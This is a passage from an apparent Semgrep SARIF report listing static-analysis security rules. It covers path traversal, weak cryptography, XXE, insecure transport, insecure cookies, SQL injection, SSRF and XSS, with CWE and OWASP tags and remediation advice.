[https://www.npmjs.com/package/got](https://www.npmjs.com/package/got)\n - [https://www.npmjs.com/package/node-rest-client](https://www.npmjs.com/package/node-rest-client)\n","text":"Checks for requests to http (unencrypted) sites using some of node js's most popular REST/HTTP libraries, including node-rest-client, axios, and got."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support","id":"problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support","name":"problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-file-path.tainted-file-path)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-file-path.tainted-file-path","id":"java.spring.security.injection.tainted-file-path.tainted-file-path","name":"java.spring.security.injection.tainted-file-path.tainted-file-path","properties":{"precision":"very-high","tags":["CWE-23: Relative Path Traversal","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-file-path.tainted-file-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://docs.oracle.com/javase/7/docs/technotes/guides/security/StandardNames.html#SecretKeyFactory](https://docs.oracle.com/javase/7/docs/technotes/guides/security/StandardNames.html#SecretKeyFactory)\n - [https://docs.spring.io/spring-security/site/docs/current/api/org/springframework/security/crypto/bcrypt/BCryptPasswordEncoder.html](https://docs.spring.io/spring-security/site/docs/current/api/org/springframework/security/crypto/bcrypt/BCryptPasswordEncoder.html)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"java.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"java.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using RSA without OAEP mode weakens the encryption."},"help":{"markdown":"Using RSA without OAEP mode weakens the encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding)\n - [https://rdist.root.org/2009/10/06/why-rsa-encryption-padding-is-critical/](https://rdist.root.org/2009/10/06/why-rsa-encryption-padding-is-critical/)\n","text":"Using RSA without OAEP mode weakens the encryption."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","id":"java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","name":"java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure transmission channel. 'URLopener.open(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"help":{"markdown":"Detected an insecure transmission channel. 'URLopener.open(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open)\n","text":"Detected an insecure transmission channel. 'URLopener.open(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.no-null-cipher.no-null-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","id":"java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","name":"java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.no-null-cipher.no-null-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe.xmlreader-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe.xmlreader-xxe","id":"kotlin.xxe.xmlreader-xxe.xmlreader-xxe","name":"kotlin.xxe.xmlreader-xxe.xmlreader-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.xmlreader-xxe.xmlreader-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring","id":"java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring","name":"java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false","id":"python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false","name":"python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS CloudFront Distribution with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `minimum_protocol_version` to `\"TLSv1.2_2018\", \"TLSv1.2_2019\" or \"TLSv1.2_2021\"`."},"help":{"markdown":"Detected an AWS CloudFront Distribution with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `minimum_protocol_version` to `\"TLSv1.2_2018\", \"TLSv1.2_2019\" or \"TLSv1.2_2021\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an AWS CloudFront Distribution with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `minimum_protocol_version` to `\"TLSv1.2_2018\", \"TLSv1.2_2019\" or \"TLSv1.2_2021\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version","id":"terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version","name":"terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request","id":"java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request","name":"java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx","id":"python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx","name":"python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.xss.formatted-template-string-taint.formatted-template-string-taint)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.net.xss.formatted-template-string-taint.formatted-template-string-taint","id":"go.net.xss.formatted-template-string-taint.formatted-template-string-taint","name":"go.net.xss.formatted-template-string-taint.formatted-template-string-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.xss.formatted-template-string-taint.formatted-template-string-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Xml Parser is used inside Request Event. Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"Xml Parser is used inside Request Event. Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event)\n - [https://www.npmjs.com/package/xml2json](https://www.npmjs.com/package/xml2json)\n","text":"Xml Parser is used inside Request Event. Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event","id":"javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event","name":"javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM 